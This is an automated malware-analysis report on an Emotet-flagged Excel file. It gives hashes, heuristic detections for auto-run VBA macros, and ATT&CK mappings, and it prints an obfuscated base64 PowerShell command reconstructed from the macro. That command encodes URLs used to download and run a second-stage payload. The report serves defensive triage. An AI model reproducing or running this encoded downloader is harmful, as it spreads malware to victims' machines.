Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 d08a3492d725fb0a…

MALICIOUS

Office (OLE) / .XLSX

151.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel
MD5: 854ae1820a2c0aad80b045fba3aefd1f SHA-1: 21ba1be439c6c173241b328edfdb0c0d4b7c4732 SHA-256: d08a3492d725fb0a2c53b895e8c3196b1b327a91fa226798f12bb5e2bc46e423
280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic

The file contains VBA macros, including a Workbook_Open auto-execution routine, which is a common delivery mechanism for Emotet. The script attempts to execute obfuscated PowerShell commands, including a long string that reconstructs multiple URLs. These URLs are likely used to download and execute a second-stage payload. The ClamAV detection also strongly suggests Emotet. The reconstructed PowerShell command string is: "hell -e\r\n JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwAHMAOgAvAC8AcwB0AG8AcgBlAC4AdQB4AGQAdQBtAG0AaQBpAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFYAZgBnAEIAUwBRAGEANwBaAC8ALABoAHQAdABwAHMAOgAvAC8AZwBsAG8AdwByAGUAbgB0AGEAbABzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBmADEAegBlAEEASwBHAFQAbgBTADYASQAvACwAaAB0AHAAOgAvAC8AYwBhAG4AZABpAHMAZQBkAC4AYgBtAGkAbgB0AGUAcgBhAGMAdABpAHYAZQBnAHIAbwB1AHAAAC4AYwBvAG0ALwAxAGcAOAA0AG4AZwBvAC8AMgBuADcAdwBqAE8AUAB1AFAAZABlAEEAbgBQAGMAlgAvACwAaAB0AHAAOgAvAC8AYgBhAGMAaABpAGwAbABlAHIAYQB0AG8AcABvAHIAYwBpAGMAbABvAHMAIABvAHIAZwAv".

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetExcel02222-9938901-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02222-9938901-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 12041 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.

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